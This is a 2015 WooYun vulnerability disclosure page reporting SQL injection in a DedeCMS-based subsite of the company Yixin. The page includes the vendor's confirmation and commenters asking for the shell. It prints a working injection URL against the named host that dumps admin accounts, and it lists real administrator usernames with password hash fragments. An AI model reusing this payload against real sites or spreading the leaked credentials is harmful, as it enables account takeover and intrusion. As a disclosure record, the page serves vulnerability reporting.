当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126962

漏洞标题：宜信某子站高危SQL注入漏洞可Getshell

相关厂商：宜信

漏洞作者： 黑暗游侠

提交时间：2015-07-15 16:43

修复时间：2015-08-30 10:16

公开时间：2015-08-30 10:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-15： 细节已通知厂商并且等待厂商处理中
2015-07-16： 厂商已经确认，细节仅向厂商公开
2015-07-26： 细节向核心白帽子及相关领域专家公开
2015-08-05： 细节向普通白帽子公开
2015-08-15： 细节向实习白帽子公开
2015-08-30： 细节向公众公开

简要描述：

宜信某子站高危SQL注入漏洞可getshell

详细说明：

站点地址：

http://cecms.yixin.com


36.png


用的是存在漏洞的dedecms
POC：

http://cecms.yixin.com/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23


注入管理员账号面码

admin#180cf695d8fd8472c367,liyuying#453eb63e522375dbc251,zhouyan#d95c0789af787c79ad1e,changruidi#3e610d5a291766fc2b98,liusiyan#2c4f7496a90b5ff17608,xinwang#70428530096c4c42c21b,pingxiaduan#4c90e3c89ddfb413c678,fangsui#072c6f65d2904be5f78e,dongyanwei#1135990035c805857be4,sunyi#f3e305123f78e19cd71c,wangshumei#88869349902b09bdd89e,huangzhihui


dedecms，进后台可以直接getshell

漏洞证明：

这个不能算小厂商吧。。。。不求上首页，只求走正常流程rank

修复方案：

赶紧修复吧

版权声明：转载请注明来源 黑暗游侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-07-16 10:14

厂商回复：

感谢对宜信安全的关注。已经开始着手进行修复

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-15 16:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    shell呢

  2. 2015-07-15 16:57 | 淡漠天空 认证白帽子 ( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)

    shell呢

  3. 2015-07-15 17:00 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @xsser 怎么走小厂商流程了，是没有把shell贴上来么？

  4. 2015-07-15 17:08 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @xsser 那我shell如果pm给你，是否能恢复走正常流程厂商rank？求回复一下